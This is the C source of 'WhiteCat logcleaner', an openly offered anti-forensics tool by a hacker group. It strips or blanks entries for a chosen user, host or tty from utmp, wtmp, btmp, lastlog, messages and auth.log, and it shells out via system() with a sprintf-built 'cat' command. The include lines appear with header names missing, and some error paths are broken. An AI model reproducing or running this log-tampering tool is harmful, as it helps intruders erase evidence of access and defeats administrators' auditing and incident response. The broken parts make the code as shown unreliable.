/* * This is WhiteCat logcleaner version 1.0 by ShadOS from Hell Knights Crew. * It supports perl compatible regular expressions and cleans any binary and * text log files (just correct source a little). WhiteCat is designed for * any UNIX-like system, but tested only on Linux. Distributed under GPLv2. * Use it only for educational purpose. * Don't forget to visit our site and my homepage for new releases: * http://hellknights.void.ru * http://shados.0x48k.cc * Also, you can mail me any bugs or suggestions: * mailto:shados /\./\ real.xakep.ru * mailto:shados /\./\ 0x48k.cc * * Copyright (C) 89, 90, 91, 1995-2007 Free Software Foundation. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #include #include #include #include #include #include #include #include #include #include #include #include /* for PATH_MAX */ #include #ifndef UTMP_FILE #define UTMP_FILE "/var/run/utmp" #endif #ifndef WTMP_FILE #define WTMP_FILE "/var/log/wtmp" #endif //modify parametrs as in your box ;) #define BTMP_FILE "/var/log/btmp" #define LASTLOG_FILE "/var/log/lastlog" #define MESSAGES_FILE "/var/log/messages" #define SECURE_FILE "/var/log/auth.log" #define MAXBUFF 8*1024 #define PROGRAM_NAME "WhiteCat logcleaner" #define PROGRAM_VERSION 1.0 #define AUTHOR "Shad0S [Hell Knights Crew]" char *myname; /* for error messages */ int do_ignorecase = 0; /* -i option: ignore case */ int do_extended = 0; /* -E option: use extended RE's */ int do_username = 0; int do_hostname = 0; int do_tty = 0; int errors = 0; /* number of errors */ /* patterns to match */ regex_t username; regex_t hostname; regex_t tty; void copy_tmp(char *dstfilename, char *tmpfilename); void clear_textlog(char *filename); void clear_uwbtmp(char *filename); void clear_lastlog (char *filename); regex_t compile_pattern(const char *pat); int process_regexp(regex_t *pattern, char *buf, size_t size); void usage(void); void version(void); int main(int argc, char *argv[]) { myname = argv[0]; char c; struct option longopts[]={ { "user", required_argument, &do_username, 'u'}, { "tty", required_argument, &do_tty, 't'}, { "hostname", required_argument, &do_hostname, 'a'}, { "extended", no_argument, &do_extended, 'e'}, { "ignore", no_argument, &do_ignorecase, 'i'}, { "help", no_argument, NULL, 'h'}, { "version", no_argument, NULL, 'V'}, { 0, 0, 0, 0 } }; if ((argc < 2) || (argc > 18)) { version(); usage(); } while ((c=getopt_long(argc,argv,"u:t:a:reihVW;",longopts,NULL)) != -1) { switch (c) { case 'u': username = compile_pattern(optarg); if (errors) usage(); //compile failed do_username=1; break; case 't': tty = compile_pattern(optarg); if (errors) usage(); //compile failed do_tty=1; break; case 'a': hostname = compile_pattern(optarg); if (errors) usage(); //compile failed do_hostname=1; break; case 'e': do_extended = 1; break; case 'i': do_ignorecase = 1; break; case 'h': version(); usage(); case 'V': version(); exit(0); break; case 0: break; case ':': fprintf(stderr, "%s: option '-%c' requires an argument\n", myname, optopt); usage(); case '?': default: fprintf(stderr, "%s: option '-%c' is invalid: ignored\n", myname, optopt); usage(); } } //sanity check if (!do_username && !do_tty && !do_hostname){ fprintf(stderr, "%s: didn't found any parametr to clean (username, hostname, tty)!\n", myname); usage(); } clear_uwbtmp(UTMP_FILE); printf("utmp cleaning \t\t \033[1m[ OK ]\033[0m\n"); clear_uwbtmp(WTMP_FILE); printf("wtmp cleaning \t\t \033[1m[ OK ]\033[0m\n"); clear_uwbtmp(BTMP_FILE); printf("btmp cleaning \t\t \033[1m[ OK ]\033[0m\n"); clear_lastlog(LASTLOG_FILE); printf("lastlog cleaning \t \033[1m[ OK ]\033[0m\n"); clear_textlog(MESSAGES_FILE); printf("messages cleaning \t \033[1m[ OK ]\033[0m\n"); clear_textlog(SECURE_FILE); printf("secure cleaning \t \033[1m[ OK ]\033[0m\n"); return 0; } /* replace logfile with tempfile */ void copy_tmp(char *dstfilename, char *tmpfilename) { char buffer[BUFSIZ]; sprintf(buffer, "cat %s > %s", tmpfilename, dstfilename); printf("%s\n", buffer); if (system(buffer) < 0) { printf("Error copying from tempfile!"); exit(-1); } unlink(tmpfilename); } /* cleanup plaintext logfiles */ void clear_textlog(char *filename) { char buftmp[MAXBUFF]; FILE *fd; int fdtmp; int found = 0; static char template[] = "/tmp/tmpfileXXXXXX"; char ftmpname[PATH_MAX]; if ( (fd = fopen(filename, "r")) == 0) { perror(filename); exit(-1); } strcpy(ftmpname, template); fdtmp = mkstemp(ftmpname); while (fgets(buftmp, MAXBUFF, fd) != NULL) { if (do_hostname) found = process_regexp(&hostname, buftmp, sizeof(buftmp)); if (do_username) found = process_regexp(&username, buftmp, sizeof(buftmp)); if (do_tty) found = process_regexp(&tty, buftmp, sizeof(buftmp)); if (!found) write(fdtmp, &buftmp, sizeof(buftmp)); found = 0; } fclose(fd); close(fdtmp); copy_tmp(filename, ftmpname); } /* cleanup binary log entries */ void clear_uwbtmp(char *filename) { struct utmp entry; int fd; int fdtmp; int found = 0; static char template[] = "/tmp/tmpfileXXXXXX"; char ftmpname[PATH_MAX]; if ( (fd = open(filename, O_RDONLY)) == -1) { perror(filename); exit(-1); } strcpy(ftmpname, template); fdtmp = mkstemp(ftmpname); while (read(fd, &entry, sizeof(struct utmp)) > 0) { if (do_hostname) found = process_regexp(&hostname, entry.ut_host, sizeof(entry.ut_host)); if (do_username) found = process_regexp(&username, entry.ut_user, sizeof(entry.ut_user)); if (do_tty) found = process_regexp(&tty, entry.ut_line, sizeof(entry.ut_line)); if (!found) write(fdtmp, &entry, sizeof(struct utmp)); found = 0; } close(fd); close(fdtmp); copy_tmp(filename, ftmpname); } /* cleanup lastlog binary file with holes */ void clear_lastlog (char *filename) { struct passwd *pwd; struct lastlog entry; int uid = 0; int found = 0; int fd; if ( (fd = open(filename, O_RDWR)) < 0) { perror(filename); exit(-1); } /* set position to the beginning of the file */ lseek(fd, (off_t) 0, SEEK_SET); while (read(fd, &entry, sizeof(struct lastlog)) > 0) { if (do_username) { if ((pwd = getpwuid(uid))!=NULL) found = process_regexp(&username, pwd->pw_name, sizeof(pwd->pw_name)); uid++; } if (do_hostname) found = process_regexp(&hostname, entry.ll_host, sizeof(entry.ll_host)); if (do_tty) found = process_regexp(&tty, entry.ll_line, sizeof(entry.ll_line)); if (found) { lseek(fd, -(off_t)sizeof(struct lastlog), SEEK_CUR); //XXX is this 3 lines correct? entry.ll_time = 0; strcpy (entry.ll_line, " "); strncpy (entry.ll_host, " ", 5); found = 0; } write (fd, &entry, sizeof(struct lastlog)); } close(fd); } /* compile the regex pattern */ regex_t compile_pattern(const char *pat) { int flags = REG_NOSUB; /* don't need where-matched info */ int ret; regex_t pattern; #define MSGBUFSIZE 512 /* arbitrary */ char error[MSGBUFSIZE]; if (do_ignorecase) flags |= REG_ICASE; if (do_extended) flags |= REG_EXTENDED; ret = regcomp(&pattern, pat, flags); if (ret != 0) { (void) regerror(ret, &pattern, error, sizeof error); fprintf(stderr, "%s: pattern `%s': %s\n", myname, pat, error); errors++; } else return pattern; } /* process regular expression */ int process_regexp(regex_t *pattern, char *buf, size_t size) { char error[MSGBUFSIZE]; int ret; if ((ret = regexec(pattern, buf, 0, NULL, 0)) != 0) { if (ret != REG_NOMATCH) { (void) regerror(ret, pattern, error, sizeof error); fprintf(stderr, "%s: %s\n", myname, error); errors++; return 0; } return 0; } else return 1; } /* print usage message and exit with 0x48k status */ void usage(void) { printf("Usage:\n"); printf("\t %s [-u user] [-t tty] [-a hostname|ipaddr] [OPTIONS]\n", myname); printf("OPTIONS:\n"); printf("\t -i --ignore \t ignore case in regexps\n"); printf("\t -e --extended \t use extended regexps\n"); printf("\t -V --version \t show version info and exit\n"); printf("\t -h --help \t show this help screen and exit\n"); printf("\n"); exit(0x48); } /* print version information */ void version(void) { fprintf(stdout, "\t ================================================================\n"); fprintf(stdout, "\t = \033[1m%s %1.1f by %s, 2007.\033[0m =\n", PROGRAM_NAME, PROGRAM_VERSION, AUTHOR); fprintf(stdout, "\t ================================================================\n"); }